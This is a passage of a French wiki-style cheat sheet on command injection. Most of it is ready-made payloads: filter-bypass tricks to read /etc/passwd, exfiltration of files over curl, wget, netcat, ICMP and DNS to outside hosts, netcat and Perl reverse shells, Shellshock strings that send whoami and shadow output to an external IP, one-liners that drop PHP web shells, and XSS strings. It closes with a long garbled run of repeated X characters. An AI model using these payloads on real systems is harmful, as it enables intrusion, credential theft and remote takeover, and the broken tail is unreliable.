===== Env Variable =====&lt;br /&gt;
 ;$var='x20';cat${var}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Sans $ ni {} =====&lt;br /&gt;
 ;IFS=,;`cat&amp;lt;&amp;lt;&amp;lt;/etc,/passwd`&lt;br /&gt;
&lt;br /&gt;
==== Certains mots blacklistés ====&lt;br /&gt;
Si &amp;quot;cat&amp;quot; ou &amp;quot;passwd&amp;quot; ou &amp;quot;nimp&amp;quot; est blacklisté:&lt;br /&gt;
&lt;br /&gt;
===== The Wildcard caracters =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/cat /etc/passwd == ;/b*n/c /et*/pawd == ;/b?n/c?? /et?/pa??wd&lt;br /&gt;
&lt;br /&gt;
===== Unitialized variable $u qui a une valeur nulle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat$u /etc$u/passwd&lt;br /&gt;
&lt;br /&gt;
===== Null Variable =====&lt;br /&gt;
&lt;br /&gt;
 ;cat /et``c/pas``swd&lt;br /&gt;
 ;cat /e$()tc/pa$()sswd&lt;br /&gt;
 ;cat /etc$(dlam)/pa$(erde)sswd&lt;br /&gt;
&lt;br /&gt;
===== Troncation par quote, double quotes, ou backslash =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/c&amp;quot;at&amp;quot; /e&amp;quot;tc&amp;quot;/pa&amp;quot;ss&amp;quot;wd&lt;br /&gt;
 ;/b'i'n/c'a't /e't'c/p'a's's'w'd'&lt;br /&gt;
 ;c\at /e\tc/pa\s\swd/&lt;br /&gt;
&lt;br /&gt;
===== $@ =====&lt;br /&gt;
 ;c$@at /etc/passwd&lt;br /&gt;
&lt;br /&gt;
==== Sans Slash ====&lt;br /&gt;
Si le slah est filtré on peut utilisé ${HOME:0;1} qui représente un slash:&lt;br /&gt;
&lt;br /&gt;
 ;cat ${HOME:0;1}etc${HOME:0;1}passwd&lt;br /&gt;
&lt;br /&gt;
==== ${SHELLOPTS} ====&lt;br /&gt;
De la même façon on peut utilisé ${SHELLOPTS} pour représenter un caractère spécifique:&lt;br /&gt;
&lt;br /&gt;
 ${SHELLOPTS:3:1} représente un c.&lt;br /&gt;
 ${SHELLOPTS:2:1} représente un a.&lt;br /&gt;
 (À creuser...)&lt;br /&gt;
 ;${SHELLOPTS:3:1}at /etc/p${SHELLOPTS:2:1}sswd&lt;br /&gt;
&lt;br /&gt;
==== Reverse and Encode ====&lt;br /&gt;
 ;`echo &amp;quot;dwssap/cte/ tac | rev`&lt;br /&gt;
 ;$(echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d)&lt;br /&gt;
&lt;br /&gt;
==== Hexadecimal encode ====&lt;br /&gt;
&lt;br /&gt;
 ;echo -e &amp;quot;x2fx65x74x63x2fx70x61x73x73x77x64&amp;quot; 	# (/etc/passwd)&lt;br /&gt;
&lt;br /&gt;
== Cheat Sheet ==&lt;br /&gt;
=== Top 25 des paramètres pouvant conduire à une injection ===&lt;br /&gt;
 ?cmd={payload}&lt;br /&gt;
 ?exec={payload}&lt;br /&gt;
 ?command={payload}&lt;br /&gt;
 ?execute{payload}&lt;br /&gt;
 ?ping={payload}&lt;br /&gt;
 ?query={payload}&lt;br /&gt;
 ?jump={payload}&lt;br /&gt;
 ?code={payload}&lt;br /&gt;
 ?reg={payload}&lt;br /&gt;
 ?do={payload}&lt;br /&gt;
 ?func={payload}&lt;br /&gt;
 ?arg={payload}&lt;br /&gt;
 ?option={payload}&lt;br /&gt;
 ?load={payload}&lt;br /&gt;
 ?process={payload}&lt;br /&gt;
 ?step={payload}&lt;br /&gt;
 ?read={payload}&lt;br /&gt;
 ?function={payload}&lt;br /&gt;
 ?req={payload}&lt;br /&gt;
 ?feature={payload}&lt;br /&gt;
 ?exe={payload}&lt;br /&gt;
 ?module={payload}&lt;br /&gt;
 ?payload={payload}&lt;br /&gt;
 ?run={payload}&lt;br /&gt;
 ?print={payload}&lt;br /&gt;
&lt;br /&gt;
=== Fonctions PHP vulnérables ===&lt;br /&gt;
 system()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 ioctl_exec()&lt;br /&gt;
 eio_syncfs()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 popen()&lt;br /&gt;
&lt;br /&gt;
Command Execution Function Filtered possible Bypass with encoding&lt;br /&gt;
 system()&lt;br /&gt;
 passthru()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 popen()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 Reverse quotation marks are identical shell_exec()&lt;br /&gt;
&lt;br /&gt;
=== DATA Exfiltration ===&lt;br /&gt;
Il est parfois possible de ne pas avoir de retour de la commande injectée, on peut alors passer par une requête POST et s'envoyer n'importe quel fichier. ([https://requestcatcher.com/])&lt;br /&gt;
&lt;br /&gt;
==== cURL ====&lt;br /&gt;
 $ curl -d &amp;quot;ip=127.0.0.1%0acurl -d&amp;quot;@Any_File&amp;quot; -X POST &amp;quot;https://requestbin.net/r/dyc3s5m8&amp;quot;&amp;quot; -X POST http://exemple.com/index.php&lt;br /&gt;
 $ curl -d &amp;quot;@file&amp;quot; -X POST http://domain.com&lt;br /&gt;
&lt;br /&gt;
==== cURL avec FTP ====&lt;br /&gt;
 $ curl -T file ftp://ip -user nick:pass&lt;br /&gt;
&lt;br /&gt;
==== Netcat ====&lt;br /&gt;
 $ nc -l -p {port} &amp;lt; {file to extract}&lt;br /&gt;
&lt;br /&gt;
==== ICMP ====&lt;br /&gt;
Si l'hôte que vous visez a été renforcé et que des outils tels que netcat, wget et CURL ont été supprimés, vous pouvez encore utiliser certaines techniques.  Essayez de faire en sorte que l'hôte envoie un ping à votre boîte et voyez si le protocole ICMP passe à travers les pare-feux qui interviennent.  Si c'est le cas, et que l'hôte sous-jacent tourne sous Linux, nous pouvons exfiltrer des données dans les requêtes ICMP en utilisant l'indicateur -p.  L'option -p vous permet de spécifier jusqu'à 16 octets de &amp;quot;pad&amp;quot;. C'est là que nous stockerons les données que nous voulons exfiltrer.&lt;br /&gt;
&lt;br /&gt;
Nous devons d'abord convertir le fichier en hexadécimal, puis spécifier les données à insérer dans le paquet. Ceci peut être fait avec la ligne suivante :&lt;br /&gt;
 cat password.txt | xxd -p -c 16 | while read exfile; do ping -p $exfile -c 1 xxx.xxx.xxx.xxx; done&lt;br /&gt;
&lt;br /&gt;
Avec Wireshark, nous pouvons observer les paquets contenant nos données.  Vous pouvez écrire un script qui récupère les paquets et réassemble le fichier sur l'hôte.&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
De la même manière que ping, DNS peut également être utilisé pour exfiltrer des données. Cette fois, nous allons utiliser chaque ligne de données comme nom d'hôte d'une requête DNS. En surveillant le trafic sur notre machine, nous pouvons réassembler le fichier. Dans ce cas, la commande suivante est soumise dans le cadre de notre requête au serveur vulnérable :&lt;br /&gt;
 cat password.txt | while read exfile; do host $exfile.contextis.com xxx.xxx.xxx.xxx; done&lt;br /&gt;
 for i in $(cat password.txt); do host $i.hkj.com; done&lt;br /&gt;
&lt;br /&gt;
Comme pour le ping, vous pouvez écrire un script pour récupérer les paquets DNS entrants et réassembler le fichier.&lt;br /&gt;
&lt;br /&gt;
==== Time based data exfiltration ====&lt;br /&gt;
Extraction caractère par caractère :&lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi&lt;br /&gt;
 real    0m5.007s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
 &lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi&lt;br /&gt;
 real    0m0.002s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shell ====&lt;br /&gt;
Avec Netcat:&lt;br /&gt;
 nc -L -p port -e cmd.exe 	(Windows)&lt;br /&gt;
 nc -l -p port -e /bin/bash 	(*nix)&lt;br /&gt;
&lt;br /&gt;
===== Se connecter =====&lt;br /&gt;
====== Netcat ======&lt;br /&gt;
 $ nc {ip} {port}&lt;br /&gt;
 $ nc {ip} {port} &amp;gt; output&lt;br /&gt;
&lt;br /&gt;
(Windows)&lt;br /&gt;
 type {file to extract} | nc -L -p {port}&lt;br /&gt;
&lt;br /&gt;
====== wget ======&lt;br /&gt;
 wget --post-data exfile=`cat /path/to/file` http://domain.com&lt;br /&gt;
 wget --post-file file http://domain.com&lt;br /&gt;
&lt;br /&gt;
====== Telnet ======&lt;br /&gt;
 telnet ip port &amp;lt; file&lt;br /&gt;
&lt;br /&gt;
=== Command Injection/Execution Cheat Sheet ===&lt;br /&gt;
 #Both Unix and Windows supported&lt;br /&gt;
 ls||id; ls ||id; ls|| id; ls || id # Execute both&lt;br /&gt;
 ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)&lt;br /&gt;
 ls&amp;amp;&amp;amp;id; ls &amp;amp;&amp;amp;id; ls&amp;amp;&amp;amp; id; ls &amp;amp;&amp;amp; id #  Execute 2º if 1º finish ok&lt;br /&gt;
 ls&amp;amp;id; ls &amp;amp;id; ls&amp;amp; id; ls &amp;amp; id # Execute both but you can only see the output of the 2º&lt;br /&gt;
 ls %0A id # %0A Execute both (RECOMMENDED)&lt;br /&gt;
​&lt;br /&gt;
 #Only unix supported&lt;br /&gt;
 `ls` # ``&lt;br /&gt;
 $(ls) # $()&lt;br /&gt;
 ls; id # ; Chain commands&lt;br /&gt;
​&lt;br /&gt;
 #Not execute but may be interesting&lt;br /&gt;
 &amp;gt; /var/www/html/out.txt #Try to redirect the output to a file&lt;br /&gt;
 &amp;lt; /etc/passwd #Try to send some input to the command&lt;br /&gt;
===== Unix =====&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/bin/cat%20/etc/passwd&amp;amp;quot;--&amp;amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/bin/cat%20/etc/shadow&amp;amp;quot;--&amp;amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/usr/bin/id;--&amp;amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/usr/bin/id;--&amp;amp;gt;&lt;br /&gt;
 /index.html|id|&lt;br /&gt;
 ;id;&lt;br /&gt;
 ;id&lt;br /&gt;
 ;netstat -a;&lt;br /&gt;
 ;system('cat%20/etc/passwd')&lt;br /&gt;
 ;id;&lt;br /&gt;
 |id&lt;br /&gt;
 |/usr/bin/id&lt;br /&gt;
 |id|&lt;br /&gt;
 |/usr/bin/id|&lt;br /&gt;
 ||/usr/bin/id|&lt;br /&gt;
 |id;&lt;br /&gt;
 ||/usr/bin/id;&lt;br /&gt;
 ;id|&lt;br /&gt;
 ;|/usr/bin/id|&lt;br /&gt;
 \n/bin/ls -al\n&lt;br /&gt;
 \n/usr/bin/id\n&lt;br /&gt;
 \nid\n&lt;br /&gt;
 \n/usr/bin/id;&lt;br /&gt;
 \nid;&lt;br /&gt;
 \n/usr/bin/id|&lt;br /&gt;
 \nid|&lt;br /&gt;
 ;/usr/bin/id\n&lt;br /&gt;
 ;id\n&lt;br /&gt;
 |usr/bin/id\n&lt;br /&gt;
 |nid\n&lt;br /&gt;
 `id`&lt;br /&gt;
 `/usr/bin/id`&lt;br /&gt;
 a);id&lt;br /&gt;
 a;id&lt;br /&gt;
 a);id;&lt;br /&gt;
 a;id;&lt;br /&gt;
 a);id|&lt;br /&gt;
 a;id|&lt;br /&gt;
 a)|id&lt;br /&gt;
 a|id&lt;br /&gt;
 a)|id;&lt;br /&gt;
 a|id&lt;br /&gt;
 |/bin/ls -al&lt;br /&gt;
 a);/usr/bin/id&lt;br /&gt;
 a;/usr/bin/id&lt;br /&gt;
 a);/usr/bin/id;&lt;br /&gt;
 a;/usr/bin/id;&lt;br /&gt;
 a);/usr/bin/id|&lt;br /&gt;
 a;/usr/bin/id|&lt;br /&gt;
 a)|/usr/bin/id&lt;br /&gt;
 a|/usr/bin/id&lt;br /&gt;
 a)|/usr/bin/id;&lt;br /&gt;
 a|/usr/bin/id&lt;br /&gt;
 ;system('cat%20/etc/passwd')&lt;br /&gt;
 ;system('id')&lt;br /&gt;
 ;system('/usr/bin/id')&lt;br /&gt;
 %0Acat%20/etc/passwd&lt;br /&gt;
 %0A/usr/bin/id&lt;br /&gt;
 %0Aid&lt;br /&gt;
 %0A/usr/bin/id%0A&lt;br /&gt;
 %0Aid%0A&lt;br /&gt;
 &amp;amp; ping -i 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 &amp;amp; ping -n 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 %0a ping -i 30 127.0.0.1 %0a&lt;br /&gt;
 `ping 127.0.0.1`&lt;br /&gt;
 | id&lt;br /&gt;
 &amp;amp; id&lt;br /&gt;
 ; id&lt;br /&gt;
 %0a id %0a&lt;br /&gt;
 `id`&lt;br /&gt;
 $;/usr/bin/id&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoami\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\`uname -a\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &amp;amp;\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=5&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 1 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&amp;amp;?vuln=6&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 1 &amp;amp;&amp;amp; echo vulnerable 1&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 3 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&amp;amp;?vuln=7&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 3 &amp;amp;&amp;amp; echo vulnerable 3&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 6 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&amp;amp;?vuln=8&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 6 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&amp;amp;?vuln=9&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 6 &amp;amp;&amp;amp; echo vulnerable 6&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\`whoami\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\`grep root /etc/shadow\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\`uname -a\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\`nc -lvvp 1235 -e /bin/bash\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\`nc -lvvp 1237 -e /bin/bash &amp;amp;\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=4&amp;quot;&lt;br /&gt;
 cat /etc/hosts&lt;br /&gt;
 $(`cat /etc/passwd`)&lt;br /&gt;
 cat /etc/passwd&lt;br /&gt;
 %0Acat%20/etc/passwd&lt;br /&gt;
 {{ get_user_file(&amp;quot;/etc/passwd&amp;quot;) }}&lt;br /&gt;
 &amp;lt;!--#exec cmd=&amp;quot;/bin/cat /etc/passwd&amp;quot;--&amp;gt;&lt;br /&gt;
 &amp;lt;!--#exec cmd=&amp;quot;/bin/cat /etc/shadow&amp;quot;--&amp;gt;&lt;br /&gt;
 &amp;lt;!--#exec cmd=&amp;quot;/usr/bin/id;--&amp;gt;&lt;br /&gt;
 system('cat /etc/passwd');&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;cat /etc/passwd&amp;quot;);?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Windows =====&lt;br /&gt;
 `&lt;br /&gt;
 || &lt;br /&gt;
 | &lt;br /&gt;
 ; &lt;br /&gt;
 '&lt;br /&gt;
 '&amp;quot;&lt;br /&gt;
 &amp;quot;&lt;br /&gt;
 &amp;quot;'&lt;br /&gt;
 &amp;amp; &lt;br /&gt;
 &amp;amp;&amp;amp; &lt;br /&gt;
 %0a&lt;br /&gt;
 %0a%0d&lt;br /&gt;
 &lt;br /&gt;
 %0Aid&lt;br /&gt;
 %0a id %0a&lt;br /&gt;
 %0Aid%0A&lt;br /&gt;
 %0a ping -i 30 127.0.0.1 %0a&lt;br /&gt;
 %0A/usr/bin/id&lt;br /&gt;
 %0A/usr/bin/id%0A&lt;br /&gt;
 %2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\&amp;quot; |ping -n 21 127.0.0.1&lt;br /&gt;
 %20{${phpinfo()}}&lt;br /&gt;
 %20{${sleep(20)}}&lt;br /&gt;
 %20{${sleep(3)}}&lt;br /&gt;
 a|id|&lt;br /&gt;
 a;id|&lt;br /&gt;
 a;id;&lt;br /&gt;
 a;id\n&lt;br /&gt;
 () { :;}; curl http://135.23.158.130/.testing/shellshock.txt?vuln=12&lt;br /&gt;
 | curl http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 &amp;amp; curl http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 ; curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 &amp;amp;&amp;amp; curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
  curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\&amp;quot; |curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\&amp;quot; |curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 $(`curl https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)&lt;br /&gt;
 dir&lt;br /&gt;
 | dir&lt;br /&gt;
 ; dir&lt;br /&gt;
 $(`dir`)&lt;br /&gt;
 &amp;amp; dir&lt;br /&gt;
 &amp;amp;&amp;amp;dir&lt;br /&gt;
 &amp;amp;&amp;amp; dir&lt;br /&gt;
 | dir C:\&lt;br /&gt;
 ; dir C:\&lt;br /&gt;
 &amp;amp; dir C:\&lt;br /&gt;
 &amp;amp;&amp;amp; dir C:\&lt;br /&gt;
 dir C:\&lt;br /&gt;
 | dir C:\Documents and Settings\*&lt;br /&gt;
 ; dir C:\Documents and Settings\*&lt;br /&gt;
 &amp;amp; dir C:\Documents and Settings\*&lt;br /&gt;
 &amp;amp;&amp;amp; dir C:\Documents and Settings\*&lt;br /&gt;
 dir C:\Documents and Settings\*&lt;br /&gt;
 | dir C:\Users&lt;br /&gt;
 ; dir C:\Users&lt;br /&gt;
 &amp;amp; dir C:\Users&lt;br /&gt;
 &amp;amp;&amp;amp; dir C:\Users&lt;br /&gt;
 dir C:\Users&lt;br /&gt;
 ;echo%20'&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;'&lt;br /&gt;
 echo '&amp;lt;img src=https://crowdshield.com/.testing/xss.js onload=prompt(2) onerror=alert(3)&amp;gt;&amp;lt;/img&amp;gt;'// XXXXXXXXXXX&lt;br /&gt;
 | echo &amp;quot;&amp;lt;?php include($_GET['page'])| ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 ; echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 &amp;amp; echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 | echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']')| ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 ; echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 &amp;amp; echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php&lt;br /&gt;
 | echo &amp;quot;&amp;lt;?php system($_GET['cmd'])| ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 ; echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 &amp;amp; echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 ;echo '&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;'&lt;br /&gt;
 echo '&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;'// XXXXXXXXXXX&lt;br /&gt;
 echo '&amp;lt;script src=https://crowdshield.com/.testing/xss.js&amp;gt;&amp;lt;/script&amp;gt;'// XXXXXXXXXXX&lt;br /&gt;
 | echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 ; echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 &amp;amp; echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 () { :;}; echo vulnerable 10&lt;br /&gt;
 eval('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX